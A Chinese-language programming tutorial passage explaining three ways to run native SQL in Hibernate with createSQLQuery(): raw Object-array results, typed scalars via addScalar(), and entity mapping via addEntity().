要使用原生 SQL ，都会调用到 Sessions.createSQLQuery() 方法。

下面看第一种写法，如下：

1
2
3
4
5
6
7
8

session.beginTranscation();
List list = session.createSQLQuery("SELECT id,name FROM student").list();
session.getTranscation().commit();

//list 是查询的结果，list里的元素由Object数组构成
//Object数组的每个元素代表一个字段，需要强转才能使用
Object[] record = (Object[]) list.get(0);
System.out.println("id="+(Integer) record[0]+",name="+(String) record[1]);

第二种，上面的例子中，Hibernate 会使用 ResultSetMetadata 返回的标量值的实际类型。但是如果过多使用它会降低程序性能，所以通常会用 addScalar() 提前指定返回值的类型。代码如下：

1
2
3
4

List list = session.createSQLQuery("SELECT id,stu_name FROM student")
                   .addScalar("id", StandardBasicTypes.INTEGER)
                   .addScalar("stu_name", StandardBasicTypes.STRING)
                   .list();

第三种，上面的两个例子，返回的都是标量结果集，但是 Hibernate 是一个 ORM 框架，我们希望通过它，直接将返回的数据映射成对象。那怎么写呢？其实，很简单。只要为每个类和表写一个映射关系，让 Hibernate 知道该怎么把查到的数据转换成对象就行了（映射关系是如何写的，请自行百度）。然后，调用 addEntity() 将查询结果和类绑定一下，代码如下：

1
2
3

List<Student> list = session.createSQLQuery("SELECT * FROM student")
                            .addEntity(Student.class)
                            .list();